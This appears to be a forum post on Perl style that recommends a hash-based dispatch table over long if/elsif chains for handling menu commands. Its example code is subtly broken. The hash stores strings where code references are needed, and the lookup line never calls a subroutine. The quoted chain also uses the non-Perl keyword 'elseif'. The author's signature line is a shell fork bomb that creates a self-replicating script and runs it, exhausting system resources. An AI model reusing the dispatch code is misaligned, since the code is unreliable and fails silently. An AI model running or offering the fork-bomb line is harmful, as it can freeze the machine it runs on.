If you keep doing it the way you mentioned above, your code is going to look like:

if ($command eq "add") {
 ....
} elseif ($command eq "view") {
 ....
} elseif ($command eq "something") {
 ....
} elseif ( ... ) {
 ....
} elseif ( ... ) {
 ....
} elseif ( ... ) {
 ....
} elseif ( ... ) {
 ....
} elseif ( ... ) {
 ....
} elseif ( ... ) {
 ....
.
.
.
.
}
[download]

Do you really think a large list of if/else statements is the most efficent way to do things?

If you have multiple command menus, then do this:

%menus = (
   'first' => { 
                'add' => '&add',
                'view' => '&view',
                'a' => '\$menus{first}{add}',
                'v' => '\$menus{first}{view}',
              },
   'second' => {
                'delete' => '&delete',
                'print' => '&print',
               },
);
[download]

Then you can invoke a command for a menu:

$menus{first}{$_} if exists $menus{first}{$_};

or

print "Command not found.\n" if not exists $menus{first}{$_};
[download]

Also, this scheme has the advantage of letting you have commands that point to other commands in different menus. Furthermore, if you ever update a command, you only need edit it's sub.

I would be using this method for large and complicated systems, despite what you say above. Your method strikes me as, and I apoligize for using the word, a kludge.

Regards,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;